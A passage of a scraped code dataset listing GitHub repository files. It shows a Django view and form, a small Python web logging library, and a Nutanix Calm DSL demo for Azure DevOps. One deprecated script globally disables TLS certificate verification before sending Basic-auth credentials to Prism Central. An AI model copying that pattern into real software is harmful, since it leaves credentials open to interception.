PessoaForm\\n success_url = reverse_lazy('index')\\n\\n def get_context_data(self, **kwargs):\\n context = super().get_context_data(**kwargs)\\n context[\\\"objects_pessoas\\\"] = Pessoa.objects.all()\\n return context\\n \"\n },\n {\n \"alpha_fraction\": 0.6740331649780273,\n \"alphanum_fraction\": 0.6740331649780273,\n \"avg_line_length\": 21.625,\n \"blob_id\": \"c1baee5ffc4204045b9470c5718ce32131dcceff\",\n \"content_id\": \"4b593629103cf92847af1f01dc7646481d72048e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 181,\n \"license_type\": \"no_license\",\n \"max_line_length\": 34,\n \"num_lines\": 8,\n \"path\": \"/cbv/forms.py\",\n \"repo_name\": \"endjack/cbv\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django import forms\\nfrom django.forms import fields\\nfrom .models import *\\n\\nclass PessoaForm(forms.ModelForm):\\n class Meta:\\n model = Pessoa\\n fields = '__all__'\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":4,"string":"4"}}},{"rowIdx":2978332,"cells":{"repo_name":{"kind":"string","value":"lilyinstarlight/log.py"},"repo_url":{"kind":"string","value":"https://github.com/lilyinstarlight/log.py"},"snapshot_id":{"kind":"string","value":"33a069321173a9e2c5ae95d18bc75ef1eb9c86f0"},"revision_id":{"kind":"string","value":"3e1ccf725f7aabb113037eb920fb504058105bcb"},"directory_id":{"kind":"string","value":"0e3eddba5ca89368f7dd1a790ee6baff60d38ac8"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-06-06T06:30:35.083213","string":"2021-06-06T06:30:35.083213"},"revision_date":{"kind":"timestamp","value":"2016-07-22T03:04:40","string":"2016-07-22T03:04:40"},"committer_date":{"kind":"timestamp","value":"2016-07-22T03:04:40","string":"2016-07-22T03:04:40"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6972476840019226,"alphanum_fraction":0.6972476840019226,"avg_line_length":35.33333206176758,"blob_id":"dc3b3d7f1437ce9a412ecaf7a4550f9ffaa90251","content_id":"7a8c029d2e40a5a77a18e1e5e394dd8c17c93d94","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":109,"license_type":"permissive","max_line_length":94,"num_lines":3,"path":"/README.md","repo_name":"lilyinstarlight/log.py","src_encoding":"UTF-8","text":"log.py\n======\nlog.py is a logger for web applications that use [web.py](https://github.com/fkmclane/web.py).\n"},{"alpha_fraction":0.6594203114509583,"alphanum_fraction":0.6594203114509583,"avg_line_length":18.714284896850586,"blob_id":"698cb09bd94c9c05cec51bc3acf282740f7d5f6c","content_id":"92ccd5bd893d15acdb56c470ddac2081afd2463d","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":138,"license_type":"permissive","max_line_length":47,"num_lines":7,"path":"/log/__init__.py","repo_name":"lilyinstarlight/log.py","src_encoding":"UTF-8","text":"# module details\nfrom .log import name, version\n\n# classes\nfrom .log import Log, HTTPLog\n\n__all__ = ['name', 'version', 'Log', 'HTTPLog']\n"},{"alpha_fraction":0.5432692170143127,"alphanum_fraction":0.549879789352417,"avg_line_length":26.278688430786133,"blob_id":"b019cd743b031360dae88eb0c6b3372b742485b1","content_id":"c0e762bb6a63568b0d91129b41e13053cfbfb3f0","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1664,"license_type":"permissive","max_line_length":139,"num_lines":61,"path":"/log/log.py","repo_name":"lilyinstarlight/log.py","src_encoding":"UTF-8","text":"import os\nimport sys\nimport time\nimport traceback\n\n\nname = \"log.py\"\nversion = \"0.0a0\"\n\n\nclass Log(object):\n def __init__(self, log=None):\n if log:\n os.makedirs(os.path.dirname(log), exist_ok=True)\n self.log = open(log, 'a', 1)\n else:\n self.log = sys.stdout\n\n def timestamp(self):\n return time.strftime('[%d/%b/%Y:%H:%M:%S %z]')\n\n def write(self, string):\n if self.log:\n self.log.write(string)\n\n def message(self, message):\n self.write(self.timestamp() + ' ' + message + '\\n')\n\n def head(self, header):\n self.message(header)\n self.message('=' * len(header))\n\n def info(self, message):\n self.message('INFO: ' + message)\n\n def warning(self, message):\n self.message('WARNING: ' + message)\n\n def error(self, message):\n self.message('ERROR: ' + message)\n\n def exception(self, message='Caught Exception'):\n self.error(message + ':\\n\\t' + traceback.format_exc().replace('\\n', '\\n\\t'))\n\n\nclass HTTPLog(Log):\n def __init__(self, log=None, access_log=None):\n Log.__init__(self, log)\n\n if access_log:\n os.makedirs(os.path.dirname(access_log), exist_ok=True)\n self.access_log = open(access_log, 'a', 1)\n else:\n self.access_log = sys.stdout\n\n def access_write(self, string):\n if self.access_log:\n self.access_log.write(string)\n\n def request(self, host, request, code='-', size='-', rfc931='-', authuser='-'):\n self.access_write(host + ' ' + rfc931 + ' ' + authuser + ' ' + self.timestamp() + ' \"' + request + '\" ' + code + ' ' + size + '\\n')\n"},{"alpha_fraction":0.6539792418479919,"alphanum_fraction":0.6574394702911377,"avg_line_length":18.266666412353516,"blob_id":"1f321f33d4b2d282f83ba4d2c781aa2424aaa1c7","content_id":"f68196a45e491fcf4e0b6393f0d31b70d72a5641","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":289,"license_type":"permissive","max_line_length":64,"num_lines":15,"path":"/setup.py","repo_name":"lilyinstarlight/log.py","src_encoding":"UTF-8","text":"#!/usr/bin/env python3\nfrom distutils.core import setup\n\nfrom log import name, version\n\n\nsetup(\n name=name,\n version=version,\n description='a logger for web applications that use web.py',\n license='MIT',\n author='Foster McLane',\n author_email='fkmclane@gmail.com',\n packages=['log'],\n)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6972476840019226,\n \"alphanum_fraction\": 0.6972476840019226,\n \"avg_line_length\": 35.33333206176758,\n \"blob_id\": \"dc3b3d7f1437ce9a412ecaf7a4550f9ffaa90251\",\n \"content_id\": \"7a8c029d2e40a5a77a18e1e5e394dd8c17c93d94\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 109,\n \"license_type\": \"permissive\",\n \"max_line_length\": 94,\n \"num_lines\": 3,\n \"path\": \"/README.md\",\n \"repo_name\": \"lilyinstarlight/log.py\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"log.py\\n======\\nlog.py is a logger for web applications that use [web.py](https://github.com/fkmclane/web.py).\\n\"\n },\n {\n \"alpha_fraction\": 0.6594203114509583,\n \"alphanum_fraction\": 0.6594203114509583,\n \"avg_line_length\": 18.714284896850586,\n \"blob_id\": \"698cb09bd94c9c05cec51bc3acf282740f7d5f6c\",\n \"content_id\": \"92ccd5bd893d15acdb56c470ddac2081afd2463d\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 138,\n \"license_type\": \"permissive\",\n \"max_line_length\": 47,\n \"num_lines\": 7,\n \"path\": \"/log/__init__.py\",\n \"repo_name\": \"lilyinstarlight/log.py\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# module details\\nfrom .log import name, version\\n\\n# classes\\nfrom .log import Log, HTTPLog\\n\\n__all__ = ['name', 'version', 'Log', 'HTTPLog']\\n\"\n },\n {\n \"alpha_fraction\": 0.5432692170143127,\n \"alphanum_fraction\": 0.549879789352417,\n \"avg_line_length\": 26.278688430786133,\n \"blob_id\": \"b019cd743b031360dae88eb0c6b3372b742485b1\",\n \"content_id\": \"c0e762bb6a63568b0d91129b41e13053cfbfb3f0\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1664,\n \"license_type\": \"permissive\",\n \"max_line_length\": 139,\n \"num_lines\": 61,\n \"path\": \"/log/log.py\",\n \"repo_name\": \"lilyinstarlight/log.py\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport sys\\nimport time\\nimport traceback\\n\\n\\nname = \\\"log.py\\\"\\nversion = \\\"0.0a0\\\"\\n\\n\\nclass Log(object):\\n def __init__(self, log=None):\\n if log:\\n os.makedirs(os.path.dirname(log), exist_ok=True)\\n self.log = open(log, 'a', 1)\\n else:\\n self.log = sys.stdout\\n\\n def timestamp(self):\\n return time.strftime('[%d/%b/%Y:%H:%M:%S %z]')\\n\\n def write(self, string):\\n if self.log:\\n self.log.write(string)\\n\\n def message(self, message):\\n self.write(self.timestamp() + ' ' + message + '\\\\n')\\n\\n def head(self, header):\\n self.message(header)\\n self.message('=' * len(header))\\n\\n def info(self, message):\\n self.message('INFO: ' + message)\\n\\n def warning(self, message):\\n self.message('WARNING: ' + message)\\n\\n def error(self, message):\\n self.message('ERROR: ' + message)\\n\\n def exception(self, message='Caught Exception'):\\n self.error(message + ':\\\\n\\\\t' + traceback.format_exc().replace('\\\\n', '\\\\n\\\\t'))\\n\\n\\nclass HTTPLog(Log):\\n def __init__(self, log=None, access_log=None):\\n Log.__init__(self, log)\\n\\n if access_log:\\n os.makedirs(os.path.dirname(access_log), exist_ok=True)\\n self.access_log = open(access_log, 'a', 1)\\n else:\\n self.access_log = sys.stdout\\n\\n def access_write(self, string):\\n if self.access_log:\\n self.access_log.write(string)\\n\\n def request(self, host, request, code='-', size='-', rfc931='-', authuser='-'):\\n self.access_write(host + ' ' + rfc931 + ' ' + authuser + ' ' + self.timestamp() + ' \\\"' + request + '\\\" ' + code + ' ' + size + '\\\\n')\\n\"\n },\n {\n \"alpha_fraction\": 0.6539792418479919,\n \"alphanum_fraction\": 0.6574394702911377,\n \"avg_line_length\": 18.266666412353516,\n \"blob_id\": \"1f321f33d4b2d282f83ba4d2c781aa2424aaa1c7\",\n \"content_id\": \"f68196a45e491fcf4e0b6393f0d31b70d72a5641\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 289,\n \"license_type\": \"permissive\",\n \"max_line_length\": 64,\n \"num_lines\": 15,\n \"path\": \"/setup.py\",\n \"repo_name\": \"lilyinstarlight/log.py\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python3\\nfrom distutils.core import setup\\n\\nfrom log import name, version\\n\\n\\nsetup(\\n name=name,\\n version=version,\\n description='a logger for web applications that use web.py',\\n license='MIT',\\n author='Foster McLane',\\n author_email='fkmclane@gmail.com',\\n packages=['log'],\\n)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":4,"string":"4"}}},{"rowIdx":2978333,"cells":{"repo_name":{"kind":"string","value":"msmenezesbr84/nutanix_Personal_mm"},"repo_url":{"kind":"string","value":"https://github.com/msmenezesbr84/nutanix_Personal_mm"},"snapshot_id":{"kind":"string","value":"543a1a8470ea414b113074b084445356aeee3d02"},"revision_id":{"kind":"string","value":"2e4223b3d9f802619dab2ac558471462a589b8c1"},"directory_id":{"kind":"string","value":"eea2c99c79e1e91e09d054e8578ef833ca288a59"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-12-01T18:58:16.108308","string":"2022-12-01T18:58:16.108308"},"revision_date":{"kind":"timestamp","value":"2020-08-07T02:39:02","string":"2020-08-07T02:39:02"},"committer_date":{"kind":"timestamp","value":"2020-08-07T02:39:02","string":"2020-08-07T02:39:02"},"github_id":{"kind":"number","value":285717969,"string":"285,717,969"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7692307829856873,"alphanum_fraction":0.7854251265525818,"avg_line_length":81.33333587646484,"blob_id":"0d55557598fdc563a61c1ce64cafdaa5b450f547","content_id":"862eaa02272ab05060d0e3d8906665311bea5d6c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":247,"license_type":"no_license","max_line_length":193,"num_lines":3,"path":"/azuredevops-master/README.md","repo_name":"msmenezesbr84/nutanix_Personal_mm","src_encoding":"UTF-8","text":"# CI/CD Demo with Nutanix Calm DSL and Azure DevOps\n\n[](https://dev.azure.com/pipoe2h/Calm/_build/latest?definitionId=1&branchName=master)\n"},{"alpha_fraction":0.7597765326499939,"alphanum_fraction":0.7597765326499939,"avg_line_length":35,"blob_id":"ed0d12d505d53b84bb248d857209d35080241fab","content_id":"20cdd7fe83d35c4da2d3993acd4ef632ae8fbc4e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":179,"license_type":"no_license","max_line_length":67,"num_lines":5,"path":"/azuredevops-master/variablestemplate.py","repo_name":"msmenezesbr84/nutanix_Personal_mm","src_encoding":"UTF-8","text":"from calm.dsl.builtins import CalmVariable as Variable\n\nENVIRONMENT = Variable.WithOptions.Predefined.string(\n [\"DEV\", \"PROD\"], default=\"DEV\", is_mandatory=True, runtime=True\n)"},{"alpha_fraction":0.5867260694503784,"alphanum_fraction":0.5913350582122803,"avg_line_length":37.744049072265625,"blob_id":"2ae344fa9fb6adf3176e2fd80d7cb44bbf0ca6d3","content_id":"cbfd45f3c38297acb3e0026d56d8eccf02cafd9c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6509,"license_type":"no_license","max_line_length":133,"num_lines":168,"path":"/azuredevops-master/deprecated/calm.py","repo_name":"msmenezesbr84/nutanix_Personal_mm","src_encoding":"UTF-8","text":"import urllib3\nimport json\nimport os\nfrom base64 import b64encode\nimport sys\nimport requests\nrequests.packages.urllib3.disable_warnings()\n\nimport ssl\n\ntry:\n _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n # Legacy Python that doesn't verify HTTPS certificates by default\n pass\nelse:\n # Handle target environment that doesn't support HTTPS verification\n ssl._create_default_https_context = _create_unverified_https_context\n\nclass PcManager():\n\n def __init__(self, ip_addr, username, password):\n # Initialise the options.\n self.ip_addr = ip_addr\n self.username = username\n self.password = password\n self.rest_params_init()\n\n # Initialize REST API parameters\n def rest_params_init(self, sub_url=\"\", method=\"\",\n body=None, content_type=\"application/json\", response_file=None):\n self.sub_url = sub_url\n self.body = body\n self.method = method\n self.content_type = content_type\n self.response_file = response_file\n\n # Create a REST client session.\n def rest_call(self): \n base_url = 'https://%s:9440/api/nutanix/v3/%s' % (\n self.ip_addr, self.sub_url)\n if self.body and self.content_type == \"application/json\":\n self.body = json.dumps(self.body)\n\n creds = '%s:%s' % (self.username, self.password)\n base64string = b64encode(creds.encode()).strip().decode()\n \n header = {\n 'Authorization': 'Basic %s' % base64string,\n 'Content-Type': '%s; charset=utf-8' % self.content_type\n }\n\n http = urllib3.PoolManager(headers=header)\n response = http.request(method=self.method, url=base_url, body=self.body)\n\n if response:\n response = json.loads(response.data.decode('UTF-8'))\n return response\n\n def search_blueprint(self, blueprint_name):\n body = {\n \"filter\": \"name==%s\" % blueprint_name,\n \"length\": 250,\n \"offset\": 0\n }\n self.rest_params_init(sub_url=\"blueprints/list\", method=\"POST\", body=body)\n return self.rest_call()\n \n def get_blueprint(self, blueprint_uuid):\n sub_url = 'blueprints/%s' % blueprint_uuid\n self.rest_params_init(sub_url=sub_url, method=\"GET\")\n return self.rest_call()\n\n def launch_blueprint(self, blueprint_uuid, blueprint_spec):\n sub_url = 'blueprints/%s/launch' % blueprint_uuid\n self.rest_params_init(sub_url=sub_url, method=\"POST\", body=blueprint_spec)\n return self.rest_call()\n\n def get_blueprint_uuid(self, blueprint_name):\n bp = self.search_blueprint(blueprint_name)\n bp_uuid = bp['entities'][0]['metadata']['uuid']\n return bp_uuid \n\nclass CalmAzureDevOps(object):\n\n ###########################################################################\n # Main execution path\n ###########################################################################\n\n def __init__(self):\n \"\"\"Main execution path \"\"\"\n\n # PrismCentralInventory data\n self.data = {} # All PrismCentral data\n\n # Read settings, environment variables, and CLI arguments\n self.read_environment()\n\n def read_environment(self):\n \"\"\" Reads the settings from environment variables \"\"\"\n # Setup PC IP\n if os.getenv(\"PC_IP\"):\n self.ip_addr = os.getenv(\"PC_IP\")\n # Setup credentials\n if os.getenv(\"PC_USERNAME\"):\n self.username = os.getenv(\"PC_USERNAME\")\n if os.getenv(\"PC_PASSWORD\"):\n self.password = os.getenv(\"PC_PASSWORD\")\n # Setup Calm\n if os.getenv(\"CALM_APPNAME\"):\n self.calm_appname = os.getenv(\"CALM_APPNAME\")\n if os.getenv(\"CALM_APPPROFILENAME\"):\n self.calm_appprofilename = os.getenv(\"CALM_APPPROFILENAME\")\n if os.getenv(\"CALM_BPNAME\"):\n self.calm_bpname = os.getenv(\"CALM_BPNAME\")\n if os.getenv(\"CALM_PRJNAME\"):\n self.calm_prjname = os.getenv(\"CALM_PRJNAME\")\n\n # Verify Prism Central IP was set\n if not hasattr(self, 'ip_addr'):\n msg = 'Could not find values for PrismCentral ip_addr. They must be specified via either ini file, ' \\\n 'command line argument (--ip-addr, -i), or environment variables (PC_IP_ADDR)\\n'\n sys.stderr.write(msg)\n sys.exit(-1)\n\n # Verify credentials were set\n if not hasattr(self, 'username'):\n msg = 'Could not find values for PrismCentral username. They must be specified via either ini file, ' \\\n 'command line argument (--username, -u), or environment variables (PC_USERNAME)\\n'\n sys.stderr.write(msg)\n sys.exit(-1)\n if not hasattr(self, 'password'):\n msg = 'Could not find values for PrismCentral password. They must be specified via either ini file, ' \\\n 'command line argument (--password, -p), or environment variables (PC_PASSWORD)\\n'\n sys.stderr.write(msg)\n sys.exit(-1)\n\n self.manager = PcManager(self.ip_addr, self.username, self.password)\n\n bp_uuid, bp_spec = self.build_blueprintSpec(self.calm_appname, self.calm_appprofilename, self.calm_bpname, self.calm_prjname)\n \n self.manager.launch_blueprint(bp_uuid, bp_spec)\n\n def build_blueprintSpec(self, calm_appname, calm_appprofilename, calm_bpname, calm_prjname): \n bp_uuid = self.manager.get_blueprint_uuid(calm_bpname)\n bp_spec = self.manager.get_blueprint(bp_uuid)\n bp_spec.pop('status')\n bp_spec['spec'].pop('name')\n bp_spec['spec']['application_name'] = calm_appname\n\n app_profile_uuid = None\n app_profile_list = bp_spec['spec']['resources']['app_profile_list']\n i = 0\n while i < len(app_profile_list):\n app_profile = app_profile_list[i]\n if app_profile['name'] == calm_appprofilename:\n app_profile_uuid = app_profile['uuid']\n break \n i += 1\n if app_profile_uuid == None:\n raise Exception(\"App profile with name \" + calm_appprofilename + \" not found in list\")\n app_profile_reference = {}\n app_profile_reference['kind'] = 'app_profile'\n app_profile_reference['uuid'] = app_profile_uuid\n bp_spec['spec']['app_profile_reference'] = app_profile_reference\n return bp_uuid, bp_spec\n\nCalmAzureDevOps()\n"},{"alpha_fraction":0.6246617436408997,"alphanum_fraction":0.6312330961227417,"avg_line_length":20.213115692138672,"blob_id":"3e3720c6a9517bbe1e2f0b6131c281c900d9be34","content_id":"046c810d48191d5778e9b24199e32563bfab9ab2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2587,"license_type":"no_license","max_line_length":103,"num_lines":122,"path":"/azuredevops-master/main.py","repo_name":"msmenezesbr84/nutanix_Personal_mm","src_encoding":"UTF-8","text":"import os\nimport json\n\nfrom calm.dsl.builtins import Service, Package, Substrate\nfrom calm.dsl.builtins import Deployment, Profile, Blueprint\nfrom calm.dsl.builtins import action, ref, basic_cred, CalmTask\nfrom calm.dsl.builtins import read_local_file, read_ahv_spec, read_vmw_spec, read_file\nfrom calm.dsl.builtins import vm_disk_package\nfrom calm.dsl.builtins import read_env\n\nimport sys\nsys.path.append('')\n\nfrom variablestemplate import *\n\n# Import .env variables\nENV = read_env()\n\nAHV_CENTOS_76 = vm_disk_package(\n name=\"AHV_CENTOS_76\",\n config={\n # By default image type is set to DISK_IMAGE\n \"image\": {\n \"source\": ENV.get(\"CENTOS_IMAGE_SOURCE\")\n }\n },\n)\n\n# Credentials definition\nCREDENTIALS = read_env('.local/credentials')\n\nOS_USERNAME = os.getenv(\"OS_USERNAME\") or CREDENTIALS.get(\"OS_USERNAME\")\nOS_PASSWORD = os.getenv(\"OS_PASSWORD\") or CREDENTIALS.get(\"OS_PASSWORD\")\n\nCred_OS = basic_cred(\n username=OS_USERNAME,\n password=OS_PASSWORD,\n name=\"Cred_OS\",\n default=True,\n type=\"PASSWORD\"\n)\n\n\nclass CentOS(Service):\n \"\"\"CentOS for Launching Demo\"\"\"\n\n\nclass CentOS_Package(Package):\n \"\"\"CentOS Package\"\"\"\n\n services = [ref(CentOS)]\n\n\nclass CentOS_Substrate(Substrate):\n \"\"\"CentOS Substrate\"\"\"\n\n os_type = \"Linux\"\n\n provider_spec = read_ahv_spec(\n \"centos-spec.yaml\",\n disk_packages={1: AHV_CENTOS_76}\n )\n\n provider_spec.spec[\"name\"] = \"@@{calm_application_name}@@\"\n provider_spec.spec[\"resources\"][\"nic_list\"][0][\"subnet_reference\"][\"name\"] = ENV.get(\"SUBNET_NAME\")\n provider_spec.spec[\"resources\"][\"nic_list\"][0][\"subnet_reference\"][\"uuid\"] = ENV.get(\"SUBNET_UUID\")\n\n\n readiness_probe = {\n \"disabled\": False,\n \"delay_secs\": \"60\",\n \"connection_type\": \"SSH\",\n \"connection_port\": 22,\n \"credential\": ref(Cred_OS),\n }\n\n\nclass CentOS_Deployment(Deployment):\n \"\"\"CentOS Deployment\"\"\"\n\n min_replicas = \"1\"\n max_replicas = \"1\"\n\n packages = [ref(CentOS_Package)]\n substrate = ref(CentOS_Substrate)\n\n\nclass Default(Profile):\n \"\"\"CentOS Profile\"\"\"\n\n ENVIRONMENT = ENVIRONMENT\n\n deployments = [\n CentOS_Deployment\n ]\n\n\nclass CentOS_Blueprint(Blueprint):\n \"\"\"CentOS Blueprint\"\"\"\n\n credentials = [\n Cred_OS\n ]\n services = [\n CentOS\n ]\n packages = [\n CentOS_Package,\n AHV_CENTOS_76\n ]\n substrates = [\n CentOS_Substrate\n ]\n profiles = [Default]\n\n\ndef main():\n print(Workload_Mobility_Setup.json_dumps(pprint=True))\n\n\nif __name__ == \"__main__\":\n main()"}],"string":"[\n {\n \"alpha_fraction\": 0.7692307829856873,\n \"alphanum_fraction\": 0.7854251265525818,\n \"avg_line_length\": 81.33333587646484,\n \"blob_id\": \"0d55557598fdc563a61c1ce64cafdaa5b450f547\",\n \"content_id\": \"862eaa02272ab05060d0e3d8906665311bea5d6c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 247,\n \"license_type\": \"no_license\",\n \"max_line_length\": 193,\n \"num_lines\": 3,\n \"path\": \"/azuredevops-master/README.md\",\n \"repo_name\": \"msmenezesbr84/nutanix_Personal_mm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# CI/CD Demo with Nutanix Calm DSL and Azure DevOps\\n\\n[](https://dev.azure.com/pipoe2h/Calm/_build/latest?definitionId=1&branchName=master)\\n\"\n },\n {\n \"alpha_fraction\": 0.7597765326499939,\n \"alphanum_fraction\": 0.7597765326499939,\n \"avg_line_length\": 35,\n \"blob_id\": \"ed0d12d505d53b84bb248d857209d35080241fab\",\n \"content_id\": \"20cdd7fe83d35c4da2d3993acd4ef632ae8fbc4e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 179,\n \"license_type\": \"no_license\",\n \"max_line_length\": 67,\n \"num_lines\": 5,\n \"path\": \"/azuredevops-master/variablestemplate.py\",\n \"repo_name\": \"msmenezesbr84/nutanix_Personal_mm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from calm.dsl.builtins import CalmVariable as Variable\\n\\nENVIRONMENT = Variable.WithOptions.Predefined.string(\\n [\\\"DEV\\\", \\\"PROD\\\"], default=\\\"DEV\\\", is_mandatory=True, runtime=True\\n)\"\n },\n {\n \"alpha_fraction\": 0.5867260694503784,\n \"alphanum_fraction\": 0.5913350582122803,\n \"avg_line_length\": 37.744049072265625,\n \"blob_id\": \"2ae344fa9fb6adf3176e2fd80d7cb44bbf0ca6d3\",\n \"content_id\": \"cbfd45f3c38297acb3e0026d56d8eccf02cafd9c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6509,\n \"license_type\": \"no_license\",\n \"max_line_length\": 133,\n \"num_lines\": 168,\n \"path\": \"/azuredevops-master/deprecated/calm.py\",\n \"repo_name\": \"msmenezesbr84/nutanix_Personal_mm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import urllib3\\nimport json\\nimport os\\nfrom base64 import b64encode\\nimport sys\\nimport requests\\nrequests.packages.urllib3.disable_warnings()\\n\\nimport ssl\\n\\ntry:\\n _create_unverified_https_context = ssl._create_unverified_context\\nexcept AttributeError:\\n # Legacy Python that doesn't verify HTTPS certificates by default\\n pass\\nelse:\\n # Handle target environment that doesn't support HTTPS verification\\n ssl._create_default_https_context = _create_unverified_https_context\\n\\nclass PcManager():\\n\\n def __init__(self, ip_addr, username, password):\\n # Initialise the options.\\n self.ip_addr = ip_addr\\n self.username = username\\n self.password = password\\n self.rest_params_init()\\n\\n # Initialize REST API parameters\\n def rest_params_init(self, sub_url=\\\"\\\", method=\\\"\\\",\\n body=None, content_type=\\\"application/json\\\", response_file=None):\\n self.sub_url = sub_url\\n self.body = body\\n self.method = method\\n self.content_type = content_type\\n self.response_file = response_file\\n\\n # Create a REST client session.\\n def rest_call(self): \\n base_url = 'https://%s:9440/api/nutanix/v3/%s' % (\\n self.ip_addr, self.sub_url)\\n if self.body and self.content_type == \\\"application/json\\\":\\n self.body = json.dumps(self.body)\\n\\n creds = '%s:%s' % (self.username, self.password)\\n base64string = b64encode(creds.encode()).strip().decode()\\n \\n header = {\\n 'Authorization': 'Basic %s' % base64string,\\n 'Content-Type': '%s; charset=utf-8' % self.content_type\\n }\\n\\n http = urllib3.PoolManager(headers=header)\\n response = http.request(method=self.method, url=base_url, body=self.body)\\n\\n if response:\\n response = json.loads(response.data.decode('UTF-8'))\\n return response\\n\\n def search_blueprint(self, blueprint_name):\\n body = {\\n \\\"filter\\\": \\\"name==%s\\\" % blueprint_name,\\n \\\"length\\\": 250,\\n \\\"offset\\\": 0\\n }\\n self.rest_params_init(sub_url=\\\"blueprints/list\\\", method=\\\"POST\\\", body=body)\\n return self.rest_call()\\n \\n def get_blueprint(self, blueprint_uuid):\\n sub_url = 'blueprints/%s' % blueprint_uuid\\n self.rest_params_init(sub_url=sub_url, method=\\\"GET\\\")\\n return self.rest_call()\\n\\n def launch_blueprint(self, blueprint_uuid, blueprint_spec):\\n sub_url = 'blueprints/%s/launch' % blueprint_uuid\\n self.rest_params_init(sub_url=sub_url, method=\\\"POST\\\", body=blueprint_spec)\\n return self.rest_call()\\n\\n def get_blueprint_uuid(self, blueprint_name):\\n bp = self.search_blueprint(blueprint_name)\\n bp_uuid = bp['entities'][0]['metadata']['uuid']\\n return bp_uuid \\n\\nclass CalmAzureDevOps(object):\\n\\n ###########################################################################\\n # Main execution path\\n ###########################################################################\\n\\n def __init__(self):\\n \\\"\\\"\\\"Main execution path \\\"\\\"\\\"\\n\\n # PrismCentralInventory data\\n self.data = {} # All PrismCentral data\\n\\n # Read settings, environment variables, and CLI arguments\\n self.read_environment()\\n\\n def read_environment(self):\\n \\\"\\\"\\\" Reads the settings from environment variables \\\"\\\"\\\"\\n # Setup PC IP\\n if os.getenv(\\\"PC_IP\\\"):\\n self.ip_addr = os.getenv(\\\"PC_IP\\\")\\n # Setup credentials\\n if os.getenv(\\\"PC_USERNAME\\\"):\\n self.username = os.getenv(\\\"PC_USERNAME\\\")\\n if os.getenv(\\\"PC_PASSWORD\\\"):\\n self.password = os.getenv(\\\"PC_PASSWORD\\\")\\n # Setup Calm\\n if os.getenv(\\\"CALM_APPNAME\\\"):\\n self.calm_appname = os.getenv(\\\"CALM_APPNAME\\\")\\n if os.getenv(\\\"CALM_APPPROFILENAME\\\"):\\n self.calm_appprofilename = os.getenv(\\\"CALM_APPPROFILENAME\\\")\\n if os.getenv(\\\"CALM_BPNAME\\\"):\\n self.calm_bpname = os.getenv(\\\"CALM_BPNAME\\\")\\n if os.getenv(\\\"CALM_PRJNAME\\\"):\\n self.calm_prjname = os.getenv(\\\"CALM_PRJNAME\\\")\\n\\n # Verify Prism Central IP was set\\n if not hasattr(self, 'ip_addr'):\\n msg = 'Could not find values for PrismCentral ip_addr. They must be specified via either ini file, ' \\\\\\n 'command line argument (--ip-addr, -i), or environment variables (PC_IP_ADDR)\\\\n'\\n sys.stderr.write(msg)\\n sys.exit(-1)\\n\\n # Verify credentials were set\\n if not hasattr(self, 'username'):\\n msg = 'Could not find values for PrismCentral username. They must be specified via either ini file, ' \\\\\\n 'command line argument (--username, -u), or environment variables (PC_USERNAME)\\\\n'\\n sys.stderr.write(msg)\\n sys.exit(-1)\\n if not hasattr(self, 'password'):\\n msg = 'Could not find values for PrismCentral password. They must be specified via either ini file, ' \\\\\\n 'command line argument (--password, -p), or environment variables (PC_PASSWORD)\\\\n'\\n sys.stderr.write(msg)\\n sys.exit(-1)\\n\\n self.manager = PcManager(self.ip_addr, 